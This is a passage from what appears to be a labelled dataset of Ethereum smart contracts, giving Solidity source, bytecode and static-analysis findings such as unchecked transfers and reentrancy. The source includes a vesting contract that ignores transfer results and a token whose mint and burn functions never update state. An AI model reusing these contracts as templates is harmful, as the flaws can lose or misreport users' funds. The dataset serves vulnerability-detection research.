} | 0x608060405234801561001057600080fd5b50600436106101365760003560e01c80636387c949116100b8578063aa9a09121161007c578063aa9a0912146102c4578063b333de24146102ed578063b821b6bf146102f5578063c8910913146102fd578063e0287b3e1461034e578063f53d0a8e1461036b57610136565b80636387c9491461025d57806369c18e12146102655780636b6b6aa41461026d5780637640cb9e1461028a578063a43fc871146102a757610136565b80631e7f87bc116100ff5780631e7f87bc146101dc57806322701134146101e45780632bdcd69114610208578063376edab614610227578063586448ea1461025557610136565b806265318b1461013b57806308dbbb03146101735780631495bf9a1461017b5780631bf6e00d1461019a5780631cfff51b146101c0575b600080fd5b6101616004803603602081101561015157600080fd5b50356001600160a01b0316610373565b60408051918252519081900360200190f35b6101616103da565b6101986004803603602081101561019157600080fd5b50356103e0565b005b610161600480360360208110156101b057600080fd5b50356001600160a01b03166103ec565b6101c861040a565b604080519115158252519081900360200190f35b61016161041a565b6101ec610420565b604080516001600160a01b039092168252519081900360200190f35b6101986004803603602081101561021e57600080fd5b5035151561042f565b6101c86004803603604081101561023d57600080fd5b506001600160a01b0381358116916020013516610496565b610161610512565b6101ec610645565b610161610654565b6101986004803603602081101561028357600080fd5b503561065a565b6101c8600480360360208110156102a057600080fd5b5035610663565b610198600480360360208110156102bd57600080fd5b50356106d8565b610161600480360360608110156102da57600080fd5b5080359060208101359060400135610730565b6101616107e4565b61016161090f565b6103236004803603602081101561031357600080fd5b50356001600160a01b0316610915565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b6101986004803603602081101561036457600080fd5b503561096c565b6101ec6109ba565b6004546001600160a01b038216600090815260086020526040812060030154909111156103a2575060006103d5565b6001600160a01b03821660009081526008602052604090206002810154600190910154600954600160401b929102030490505b919050565b60035481565b6103e9816109c9565b50565b6001600160a01b031660009081526008602052604090206001015490565b600254600160a01b900460ff1681565b60075490565b6001546001600160a01b031681565b600a546001600160a01b031633146104785760405162461bcd60e51b8152600401808060200182810382526028815260200180610f6a6028913960400191505060405180910390fd5b60028054911515600160a01b0260ff60a01b19909216919091179055565b600a546000906001600160a01b031633146104e25760405162461bcd60e51b8152600401808060200182810382526028815260200180610f6a6028913960400191505060405180910390fd5b50600080546001600160a01b039384166001600160a01b0319918216179091556001805492909316911617815590565b60008061051e33610373565b3360008181526008602090815260408083206002018054600160401b87020190558254815163a9059cbb60e01b815260048101959095526024850186905290519495506001600160a01b03169363a9059cbb93604480820194918390030190829087803b15801561058e57600080fd5b505af11580156105a2573d6000803e3d6000fd5b505050506040513d60208110156105b857600080fd5b5051610600576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8811985a5b195960721b604482015290519081900360640190fd5b610609816109c9565b604080518281529051309133917feaf3a9c7efee1bdf36174a833c1d07b2922e166a5c836d31ab5e3d39c03b6b859181900360200190a3905090565b6000546001600160a01b031681565b60055481565b6103e981610cec565b600080546001600160a01b031633146106ad5760405162461bcd60e51b815260040180806020018281038252602b815260200180610ec7602b913960400191505060405180910390fd5b600754600160401b8302816106be57fe5b600980549290910490910190819055600555506001919050565b600a546001600160a01b031633146107215760405162461bcd60e51b8152600401808060200182810382526028815260200180610f6a6028913960400191505060405180910390fd5b670de0b6b3a764000002600355565b600080600061073f8686610e67565b9150915083811061074c57fe5b6000848061075657fe5b86880990508281111561076a576001820391505b91829003916000859003851680868161077f57fe5b04955080848161078b57fe5b04935080816000038161079a57fe5b046001019290920292909201600285810380870282030280870282030280870282030280870282030280870282030280870282030295860290039094029390930295945050505050565b6000806107f033610373565b3360008181526008602090815260408083206002018054600160401b8702019055600154815163a9059cbb60e01b815260048101959095526024850186905290519495506001600160a01b03169363a9059cbb93604480820194918390030190829087803b15801561086157600080fd5b505af1158015610875573d6000803e3d6000fd5b505050506040513d602081101561088b57600080fd5b50516108d3576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8811985a5b195960721b604482015290519081900360640190fd5b604080518281529051309133917f8c998377165b6abd6e99f8b84a86ed2c92d0055aeef42626fedea45c2909f6eb9181900360200190a3905090565b60045481565b600080600080600061092561041a565b61092e876103ec565b61093788610373565b6001600160a01b0398909816600090815260086020526040902060038101546002909101549299919897509550909350915050565b600a546001600160a01b031633146109b55760405162461bcd60e51b8152600401808060200182810382526028815260200180610f6a6028913960400191505060405180910390fd5b600455565b6002546001600160a01b031681565b600254600160a01b900460ff16610a27576040805162461bcd60e51b815260206004820152601b60248201527f5374616b696e67206e6f742079657420696e697469616c697a65640000000000604482015290519081900360640190fd5b600154604080516370a0823160e01b8152336004820152905183926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610a7157600080fd5b505afa158015610a85573d6000803e3d6000fd5b505050506040513d6020811015610a9b57600080fd5b50511015610af0576040805162461bcd60e51b815260206004820152601d60248201527f496e73756666696369656e742053574150204146542062616c616e6365000000604482015290519081900360640190fd5b60035481610afd336103ec565b011015610b3b5760405162461bcd60e51b815260040180806020018281038252603d815260200180610f2d603d913960400191505060405180910390fd5b60015460408051636eb1769f60e11b8152336004820152306024820152905183926001600160a01b03169163dd62ed3e916044808301926020929190829003018186803b158015610b8b57600080fd5b505afa158015610b9f573d6000803e3d6000fd5b505050506040513d6020811015610bb557600080fd5b50511015610bf45760405162461bcd60e51b815260040180806020018281038252603b815260200180610ef2603b913960400191505060405180910390fd5b33600081815260086020908152604080832042600382015560078054870190556001808201805488019055600954600290920180549288029092019091555481516323b872dd60e01b815260048101959095523060248601526044850186905290516001600160a01b03909116936323b872dd9360648083019493928390030190829087803b158015610c8657600080fd5b505af1158015610c9a573d6000803e3d6000fd5b505050506040513d6020811015610cb057600080fd5b5050604080518281529051309133917f160ffcaa807f78c8b4983836e2396338d073e75695ac448aa0b5e4a75b210b1d9181900360200190a350565b80610cf6336103ec565b1015610d335760405162461bcd60e51b8152600401808060200182810382526032815260200180610e956032913960400191505060405180910390fd5b6007805482900390553360008181526008602090815260408083206001818101805488900390556009546002909201805492880290920390915554815163a9059cbb60e01b815260048101959095526024850186905290516001600160a01b039091169363a9059cbb9360448083019493928390030190829087803b158015610dbb57600080fd5b505af1158015610dcf573d6000803e3d6000fd5b505050506040513d6020811015610de557600080fd5b5051610e2d576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b604080518281529051339130917f15fba2c381f32b0e84d073dd1adb9edbcfd33a033ee48aaea415ac61ca7d448d9181900360200190a350565b6000808060001984860990508385029250828103915082811015610e8c576001820391505b50925092905056fe596f752063757272656e746c7920646f206e6f74206861766520757020746f207468617420616d6f756e74207374616b6564417574686f72697a6174696f6e3a206f6e6c7920746f6b656e20636f6e74726163742063616e2063616c6c4e6f7420656e6f75676820616c6c6f77616e636520676976656e20746f20636f6e74726163742079657420746f207370656e642062792075736572596f757220616d6f756e74206973206c6f776572207468616e20746865206d696e696d756d20616d6f756e7420616c6c6f77656420746f207374616b654f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f72a2646970667358221220fcb9bfc9dc1d47a3d156951d3928ba6558143c879799d5dba21e9986d71b020364736f6c63430006040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 10,360 |
0x210473E4c6bdFbf612D7289097891c93E976ce1E | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
contract VestingContract is Ownable {
using SafeMath for uint256;
// CNTR Token Contract
IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B);
uint256[] vestingSchedule;
address public receivingAddress;
uint256 public vestingStartTime;
uint256 constant public releaseInterval = 30 days;
uint256 public totalTokens;
uint256 public totalDistributed;
uint256 index = 0;
constructor(address _address) public {
receivingAddress = _address;
}
function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner {
require(vestingStartTime == 0);
vestingSchedule = _vestingSchedule;
for(uint256 i = 0; i < vestingSchedule.length; i++) {
totalTokens = totalTokens.add(vestingSchedule[i]);
}
}
function updateReceivingAddress(address _address) public onlyOwner {
receivingAddress = _address;
}
function releaseToken() public {
require(vestingSchedule.length > 0);
require(msg.sender == owner() || msg.sender == receivingAddress);
if (vestingStartTime == 0) {
require(msg.sender == owner());
vestingStartTime = block.timestamp;
}
for (uint256 i = index; i < vestingSchedule.length; i++) {
if (block.timestamp >= vestingStartTime + (index * releaseInterval)) {
tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether));
totalDistributed = totalDistributed.add(vestingSchedule[i]);
index = index.add(1);
} else {
break;
}
}
}
function getVestingSchedule() public view returns (uint256[] memory) {
return vestingSchedule;
}
} | 0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 10,361 |
0xd91ee7a2073adb0db073ee31efb5e8625594399f | pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract HadePayToken is StandardToken {
using SafeMath for uint256;
/**********************************
* Events
*/
event Mint(address indexed to, uint256 amount);
event Burn(address indexed burner, uint256 value);
event ChangeOwnerAddress(uint256 blockTimeStamp, address indexed ownerAddress);
event ChangeServerAddress(uint256 blockTimeStamp, address indexed serverAddress);
/**********************************
* Storage
*/
// name of the token
string public name = "HadePay";
string public symbol = "HPAY";
// token supply and precision
uint8 public decimals = 18;
uint256 public totalSupply = 75000000 * 10**18;
// important addresses
address public hPayMultiSig;
address public serverAddress;
/**********************************
* Constructor
*/
constructor(address _hPayMultiSig) public {
hPayMultiSig = _hPayMultiSig;
balances[_hPayMultiSig] = totalSupply;
}
/**********************************
* Fallback
*/
function() public {
revert();
}
/**********************************
* Modifiers
*/
modifier nonZeroAddress(address _to) {
require(_to != 0x0);
_;
}
modifier onlyOwner() {
require(msg.sender == hPayMultiSig);
_;
}
/**********************************
* Owner Functions
*/
// @title mint sends new coin to the specificed recepiant
// @param _to is the recepiant the new coins
// @param _value is the number of coins to mint
function mint(address _to, uint256 _value) external onlyOwner {
require(_to != address(0));
require(_value > 0);
totalSupply.add(_value);
balances[_to].add(_value);
emit Mint(_to, _value);
emit Transfer(address(0), _to, _value);
}
// @title burn allows the administrator to burn their own tokens
// @param _value is the number of tokens to burn
// @dev note that admin can only burn their own tokens
function burn(uint256 _value) external onlyOwner {
require(_value > 0 && balances[msg.sender] >= _value);
totalSupply.sub(_value);
balances[msg.sender].sub(_value);
emit Burn(msg.sender, _value);
}
